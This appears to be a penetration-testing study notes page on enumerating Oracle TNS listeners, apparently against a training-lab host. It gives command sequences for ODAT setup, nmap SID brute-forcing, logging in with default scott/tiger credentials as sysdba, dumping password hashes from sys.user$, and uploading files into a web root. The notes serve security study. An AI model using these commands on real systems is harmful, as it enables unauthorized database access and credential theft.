🥷
Penetration Testing Notes
Home
  • Notes
  • Port Scanning
  • Credential-less Enumeration
    • Secure Shell
    • Simple Mail Transfer Protocol
    • File Transfer Protocol
    • Domain Name Service
    • Hypertext Transfer Protocol
    • Internet Message Access Protocol / Post Office Protocol
    • Kerberos
    • Remote Procedure Call
    • Server Message Block
    • Simple Network Management Protocol
    • Lightweight Directory Access Protocol
    • Netlogon Remote Protocol
    • Network File Share
    • Remote Desktop Protocol
    • My Structured Query Language
    • Microsoft Structured Query Language
    • Oracle Transparent Network Substrate
    • Intelligent Platform Management Interface
    • Rsync
    • R-Services
    • Remote Desktop Protocol
    • Windows Remote Management
    • Windows Management Instrumentation
  • Credentialed Enumeration
    • Secure Shell
    • Server Message Block
    • Lightweight Directory Access Protocol
    • Kerberos
    • MSSQL
    • Windows Remote Management
  • Privilege Escalation
    • Linux
    • Windows
  • Windows Active Directory
    • Abuse Weak Access Control Lists (ACLs)
    • Overpass The Hash
    • Object Scoping
    • Pass The Ticket
  • Miscellaneous
    • File Transfers
    • Shells & Payloads
    • Metasploit Framework
    • Password Mutations
  • All Notes
Powered by GitBook
On this page
  • Footprinting The Service
  • Tool Setup
  • Nmap
  • Nmap - SID Bruteforcing
  • ODAT
  • SQLplus - Log In
  • Oracle RDBMS - Interaction
  • Oracle RDBMS - Database Enumeration
  • Oracle RDBMS - Extract Password Hashes
  • Oracle RDBMS - File Upload
  1. Credential-less Enumeration

Oracle Transparent Network Substrate

PreviousMicrosoft Structured Query LanguageNextIntelligent Platform Management Interface

Last updated 1 year ago

Footprinting The Service

Tool Setup

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Nmap

sudo nmap -p1521 -sV 10.129.204.235 --open

Nmap - SID Bruteforcing

sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute

ODAT

./odat.py all -s 10.129.204.235

SQLplus - Log In

sqlplus scott/tiger@10.129.204.235/XE

If you come across the following error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory execute the following command

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

Oracle RDBMS - Interaction

Oracle RDBMS - Database Enumeration

sqlplus scott/tiger@10.129.204.235/XE as sysdba

Oracle RDBMS - Extract Password Hashes

select name, password from sys.user$;

Oracle RDBMS - File Upload

OS
Path

Linux

/var/www/html

Windows

C:\inetpub\wwwroot

echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
curl -X GET http://10.129.204.235/testing.txt

Before we can enumerate the TNS listener and interact with it, we need to download a few packages and tools
the odat.py tool to perform a variety of scans like retrieve database names, versions, running processes, user accounts, vulnerabilities, misconfigurations etc.
You can also attempt to append "as sysdba" for higher privileges
Try using the valid account to log in as the System Database Admin (sysdba), giving higher privileges. This is possible when the user has the appropriate privileges typically granted by the database administrator.